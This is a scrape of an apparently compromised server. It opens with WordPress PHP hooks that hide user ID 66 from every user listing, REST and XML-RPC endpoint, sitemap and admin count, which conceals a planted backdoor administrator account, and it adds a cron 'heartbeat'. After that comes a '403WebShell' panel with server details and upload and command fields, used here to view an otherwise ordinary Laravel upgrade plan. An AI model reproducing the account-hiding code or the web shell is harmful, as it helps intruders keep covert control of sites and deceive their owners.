add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/UPGRADE_PLAN.md
# Laravel 6 → 12 Upgrade Plan for Jung.ly

This document outlines the step-by-step process to upgrade the Jung.ly application from Laravel 6.x (PHP 7.2) to Laravel 12.x (PHP 8.3/8.4).

---

## Overview

| Current | Target |
|---------|--------|
| PHP 7.2 | PHP 8.3 or 8.4 |
| Laravel 6.20 | Laravel 12.x |
| PHPUnit 8 | PHPUnit 11 |

> **Note:** Laravel 12 was released February 2025 and requires PHP 8.2+

**Estimated Scope:** ~85 PHP files, 5 migrations, JWT authentication

---

## Phase 1: Preparation (Before Any Code Changes)

### 1.1 Create a new branch
```bash
git checkout -b upgrade/laravel-10
```

### 1.2 Backup database
- Export your MySQL database before proceeding

### 1.3 Document current state
- Note any custom configurations in `.env`
- List any Heroku-specific settings

---

## Phase 2: Incremental Laravel Upgrades

Laravel requires upgrading through each major version. Direct 6→10 jumps are not supported.

### 2.1 Laravel 6 → 7 Upgrade

**composer.json changes:**
```json
{
  "require": {
    "php": "^7.2.5|^8.0",
    "laravel/framework": "^7.0",
    "laravel/tinker": "^2.0",
    "fideloper/proxy": "^4.2"
  },
  "require-dev": {
    "facade/ignition": "^2.0",
    "nunomaduro/collision": "^4.1",
    "phpunit/phpunit": "^8.5"
  }
}
```

**Key changes for Laravel 7:**
- String and array helpers moved to `laravel/helpers` package (optional, can use `Str::` and `Arr::` facades instead)
- `assertArraySubset` removed from PHPUnit
- CORS config now built-in (can remove `barryvdh/laravel-cors`)

---

### 2.2 Laravel 7 → 8 Upgrade

**composer.json changes:**
```json
{
  "require": {
    "php": "^7.3|^8.0",
    "laravel/framework": "^8.0",
    "laravel/tinker": "^2.0"
  },
  "require-dev": {
    "facade/ignition": "^2.3.6",
    "nunomaduro/collision": "^5.0",
    "phpunit/phpunit": "^9.0"
  }
}
```

**Key changes for Laravel 8:**

1. **Models directory** - Models now live in `app/Models/` ✅ (already done in your codebase)

2. **Namespace changes in routes** - Remove namespace from `RouteServiceProvider`:
   ```php
   // Before (Laravel 6-7)
   protected $namespace = 'App\Http\Controllers';

   // After (Laravel 8+) - remove this property OR use full class names in routes
   ```

3. **Pagination views** - Uses Tailwind by default (change if using Bootstrap)

4. **Factories rewrite** - Class-based factories (but you're using seeds, so minimal impact)

5. **Remove `fideloper/proxy`** - Built into Laravel 8

---

### 2.3 Laravel 8 → 9 Upgrade

**composer.json changes:**
```json
{
  "require": {
    "php": "^8.0.2",
    "laravel/framework": "^9.0",
    "guzzlehttp/guzzle": "^7.2"
  },
  "require-dev": {
    "spatie/laravel-ignition": "^1.0",
    "nunomaduro/collision": "^6.1",
    "phpunit/phpunit": "^9.5.10"
  }
}
```

**Key changes for Laravel 9:**

1. **PHP 8.0+ required** - First PHP 8-only release

2. **Symfony 6 components** - All Symfony dependencies updated

3. **Exception Handler changes:**
   ```php
   // Before
   public function report(Exception $exception)

   // After
   public function report(Throwable $exception)
   ```

4. **`facade/ignition` → `spatie/laravel-ignition`**

5. **Guzzle 7 required**

---

### 2.4 Laravel 9 → 10 Upgrade

**composer.json changes:**
```json
{
  "require": {
    "php": "^8.1",
    "laravel/framework": "^10.0",
    "guzzlehttp/guzzle": "^7.2"
  },
  "require-dev": {
    "spatie/laravel-ignition": "^2.0",
    "nunomaduro/collision": "^7.0",
    "phpunit/phpunit": "^10.0"
  }
}
```

**Key changes for Laravel 10:**

1. **PHP 8.1+ required**

2. **Native type declarations** - Many method signatures now have return types

3. **Process facade** - New way to run external processes (optional)

4. **Invokable validation rules by default**

---

### 2.5 Laravel 10 → 11 Upgrade

**composer.json changes:**
```json
{
  "require": {
    "php": "^8.2",
    "laravel/framework": "^11.0"
  },
  "require-dev": {
    "spatie/laravel-ignition": "^2.0",
    "nunomaduro/collision": "^8.0",
    "phpunit/phpunit": "^11.0"
  }
}
```

**Key changes for Laravel 11:**

1. **PHP 8.2+ required**

2. **Streamlined application structure** - Simplified skeleton:
   - `bootstrap/app.php` becomes the central configuration file
   - Many config files are optional (only create if you need to customize)
   - Middleware defined in `bootstrap/app.php` instead of `Kernel.php`

3. **No more `app/Http/Kernel.php`** - Middleware registered in `bootstrap/app.php`:
   ```php
   return Application::configure(basePath: dirname(__DIR__))
       ->withRouting(
           web: __DIR__.'/../routes/web.php',
           api: __DIR__.'/../routes/api.php',
       )
       ->withMiddleware(function (Middleware $middleware) {
           $middleware->api(prepend: [
               // your API middleware
           ]);
       })
       ->withExceptions(function (Exceptions $exceptions) {
           //
       })->create();
   ```

4. **Health check route** - Built-in `/up` endpoint

5. **Per-second rate limiting** - More granular throttling options

---

### 2.6 Laravel 11 → 12 Upgrade

**composer.json changes:**
```json
{
  "require": {
    "php": "^8.2",
    "laravel/framework": "^12.0"
  },
  "require-dev": {
    "spatie/laravel-ignition": "^2.0",
    "nunomaduro/collision": "^8.0",
    "phpunit/phpunit": "^11.0"
  }
}
```

**Key changes for Laravel 12:**

1. **PHP 8.2 - 8.4 supported** (PHP 8.5 support being added)

2. **New starter kits** - React, Vue, Livewire options with modern tooling

3. **Improved Eloquent** - Better performance and new query methods

4. **Bug fixes until 2026, security fixes until 2027**

5. **Minimal breaking changes from Laravel 11** - Mostly a refinement release

---

## Phase 3: Package Updates

### 3.1 JWT Authentication

**Current:** `tymon/jwt-auth: 1.0.0-rc.5`
**Target:** `php-open-source-saver/jwt-auth: ^2.0` (maintained fork)

The original `tymon/jwt-auth` is no longer maintained. Use the community fork:

```json
{
  "require": {
    "php-open-source-saver/jwt-auth": "^2.0"
  }
}
```

**Migration steps:**
1. Replace package in composer.json
2. Update namespace imports: `Tymon\JWTAuth` → `PHPOpenSourceSaver\JWTAuth`
3. Republish config: `php artisan vendor:publish --provider="PHPOpenSourceSaver\JWTAuth\Providers\LaravelServiceProvider"`

**Files requiring namespace updates:**
- `app/Models/User.php` (line 7)
- `config/auth.php` (no changes needed, config-based)

---

### 3.2 CORS Package

**Current:** `barryvdh/laravel-cors: ^0.11.4`
**Target:** Remove (built into Laravel 7+)

1. Remove from composer.json
2. Remove from `app/Http/Kernel.php` middleware
3. Use Laravel's built-in CORS: `php artisan config:publish cors`

---

### 3.3 Other Package Updates

| Package | Current | Target | Notes |
|---------|---------|--------|-------|
| `spatie/laravel-fractal` | ^5.6 | ^6.0 | Check docs for breaking changes |
| `smalot/pdfparser` | ^0.14.0 | ^2.0 | Major upgrade needed |
| `detectlanguage/detectlanguage` | ^2.2 | ^2.2 | Should be compatible |
| `grabzit/grabzit` | ^3.4 | ^3.4 | Should be compatible |
| `webpatser/laravel-uuid` | ^3.0 | Remove | Laravel has `Str::uuid()` built-in |

---

## Phase 4: Code Changes Required

### 4.1 Fix `list()` syntax (PHP 8 compatibility)

**File:** `app/Services/UrlMeta/AmazonUrlMetaProvider.php`

```php
// Line 57 - Change from:
list($info, $originalThumbnailUrl) = $this->getBookInfoAndThumbnail($rawUrl);
// To:
[$info, $originalThumbnailUrl] = $this->getBookInfoAndThumbnail($rawUrl);

// Line 62 - Change from:
list($_, $originalThumbnailUrl) = $this->getBookInfoAndThumbnail($rawUrl);
// To:
[$_, $originalThumbnailUrl] = $this->getBookInfoAndThumbnail($rawUrl);
```

---

### 4.2 Update Exception Handler

**File:** `app/Exceptions/Handler.php`

```php
<?php

namespace App\Exceptions;

use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
use Throwable;

class Handler extends ExceptionHandler
{
    protected $dontReport = [
        //
    ];

    protected $dontFlash = [
        'current_password',
        'password',
        'password_confirmation',
    ];

    public function register(): void
    {
        $this->reportable(function (Throwable $e) {
            //
        });
    }
}
```

---

### 4.3 Update HTTP Kernel

**File:** `app/Http/Kernel.php`

Remove deprecated middleware and update structure:

```php
<?php

namespace App\Http;

use Illuminate\Foundation\Http\Kernel as HttpKernel;

class Kernel extends HttpKernel
{
    protected $middleware = [
        // \App\Http\Middleware\TrustHosts::class,
        \App\Http\Middleware\TrustProxies::class,
        \Illuminate\Http\Middleware\HandleCors::class,  // Built-in CORS
        \App\Http\Middleware\PreventRequestsDuringMaintenance::class,
        \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class,
        \App\Http\Middleware\TrimStrings::class,
        \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class,
    ];

    protected $middlewareGroups = [
        'web' => [
            \App\Http\Middleware\EncryptCookies::class,
            \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
            \Illuminate\Session\Middleware\StartSession::class,
            \Illuminate\View\Middleware\ShareErrorsFromSession::class,
            \App\Http\Middleware\VerifyCsrfToken::class,
            \Illuminate\Routing\Middleware\SubstituteBindings::class,
        ],

        'api' => [
            \Illuminate\Routing\Middleware\ThrottleRequests::class.':api',
            \Illuminate\Routing\Middleware\SubstituteBindings::class,
        ],
    ];

    protected $middlewareAliases = [  // Renamed from $routeMiddleware
        'auth' => \App\Http\Middleware\Authenticate::class,
        'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class,
        'auth.session' => \Illuminate\Session\Middleware\AuthenticateSession::class,
        'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class,
        'can' => \Illuminate\Auth\Middleware\Authorize::class,
        'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class,
        'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class,
        'precognitive' => \Illuminate\Foundation\Http\Middleware\HandlePrecognitiveRequests::class,
        'signed' => \App\Http\Middleware\ValidateSignature::class,
        'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class,
        'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class,
    ];
}
```

---

### 4.4 Update Middleware Files

**File:** `app/Http/Middleware/TrustProxies.php`
```php
<?php

namespace App\Http\Middleware;

use Illuminate\Http\Middleware\TrustProxies as Middleware;
use Illuminate\Http\Request;

class TrustProxies extends Middleware
{
    protected $proxies;

    protected $headers =
        Request::HEADER_X_FORWARDED_FOR |
        Request::HEADER_X_FORWARDED_HOST |
        Request::HEADER_X_FORWARDED_PORT |
        Request::HEADER_X_FORWARDED_PROTO |
        Request::HEADER_X_FORWARDED_AWS_ELB;
}
```

**File:** `app/Http/Middleware/CheckForMaintenanceMode.php`
- Rename to `PreventRequestsDuringMaintenance.php`
- Extend `Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance`

---

### 4.5 Update RouteServiceProvider

**File:** `app/Providers/RouteServiceProvider.php`

```php
<?php

namespace App\Providers;

use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\Facades\Route;

class RouteServiceProvider extends ServiceProvider
{
    public function boot(): void
    {
        RateLimiter::for('api', function (Request $request) {
            return Limit::perMinute(60)->by($request->user()?->id ?: $request->ip());
        });

        $this->routes(function () {
            Route::middleware('api')
                ->prefix('api')
                ->group(base_path('routes/api.php'));

            Route::middleware('web')
                ->group(base_path('routes/web.php'));
        });
    }
}
```

---

### 4.6 Fix Return Type Hints

**File:** `app/Services/UrlMeta/AmazonUrlMetaProvider.php` (line 61)

```php
// Change from:
protected function getOriginalThumbnailFile($rawUrl, $meta): resource {

// To (resource is not a valid return type):
protected function getOriginalThumbnailFile($rawUrl, $meta): mixed {
```

---

### 4.7 Update autoload for seeds/factories

**File:** `composer.json`

```json
{
  "autoload": {
    "psr-4": {
      "App\\": "app/",
      "Database\\Factories\\": "database/factories/",
      "Database\\Seeders\\": "database/seeders/"
    }
  }
}
```

Rename `database/seeds/` to `database/seeders/` and update namespace.

---

## Phase 5: Configuration Updates

### 5.1 Update `config/app.php`

- Remove deprecated `BroadcastServiceProvider` if not using broadcasting
- Update timezone if needed

### 5.2 Create `config/cors.php` (Laravel 7+)

```php
<?php

return [
    'paths' => ['api/*'],
    'allowed_methods' => ['*'],
    'allowed_origins' => ['*'],
    'allowed_origins_patterns' => [],
    'allowed_headers' => ['*'],
    'exposed_headers' => [],
    'max_age' => 0,
    'supports_credentials' => false,
];
```

---

## Phase 6: Testing & Validation

### 6.1 Update PHPUnit

**File:** `phpunit.xml`

Update to PHPUnit 11 format (simplified):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
         bootstrap="vendor/autoload.php"
         colors="true">
    <testsuites>
        <testsuite name="Unit">
            <directory>tests/Unit</directory>
        </testsuite>
        <testsuite name="Feature">
            <directory>tests/Feature</directory>
        </testsuite>
    </testsuites>
    <source>
        <include>
            <directory>app</directory>
        </include>
    </source>
    <php>
        <env name="APP_ENV" value="testing"/>
        <env name="CACHE_DRIVER" value="array"/>
        <env name="SESSION_DRIVER" value="array"/>
        <env name="QUEUE_CONNECTION" value="sync"/>
    </php>
</phpunit>
```

### 6.2 Test each endpoint

1. Authentication: `/api/auth/login`, `/api/auth/register`, `/api/auth/me`
2. Graphs: `/api/graph/*`
3. Nodes: `/api/graph/{graph}/node/*`
4. Meta: `/api/meta/*`

---

## Phase 7: Deployment

### 7.1 Update Heroku Procfile

```
web: vendor/bin/heroku-php-apache2 public/
```

### 7.2 Set PHP version on Heroku

Create/update `composer.json`:
```json
{
  "require": {
    "php": "^8.2"
  },
  "config": {
    "platform": {
      "php": "8.3.0"
    }
  }
}
```

Or use a `runtime.txt` file:
```
php-8.3.x
```

---

## Execution Order Summary

1. ☐ Create upgrade branch
2. ☐ Backup database
3. ☐ Upgrade Laravel 6 → 7 (fix CORS)
4. ☐ Test & commit
5. ☐ Upgrade Laravel 7 → 8 (routes, factories)
6. ☐ Test & commit
7. ☐ Upgrade Laravel 8 → 9 (PHP 8, exception handler)
8. ☐ Test & commit
9. ☐ Upgrade Laravel 9 → 10 (type hints, middleware aliases)
10. ☐ Test & commit
11. ☐ Upgrade Laravel 10 → 11 (new app structure, no Kernel.php)
12. ☐ Test & commit
13. ☐ Upgrade Laravel 11 → 12 (minimal changes)
14. ☐ Test & commit
15. ☐ Replace JWT package
16. ☐ Fix PHP 8 code issues (list syntax, return types)
17. ☐ Run full test suite
18. ☐ Deploy to staging
19. ☐ Deploy to production

---

## Rollback Plan

If issues arise:
1. Keep the `master` branch untouched until fully validated
2. Heroku supports instant rollback to previous releases
3. Database migrations should be backward-compatible

---

## Resources

- [Laravel 12 Upgrade Guide](https://laravel.com/docs/12.x/upgrade)
- [Laravel 12 Release Notes](https://laravel.com/docs/12.x/releases)
- [php-open-source-saver/jwt-auth](https://github.com/PHP-Open-Source-Saver/jwt-auth)
- [Shift - Automated Laravel Upgrades](https://laravelshift.com/) (paid service, but very reliable)

Youez - 2016 - github.com/yon3zu
LinuXploit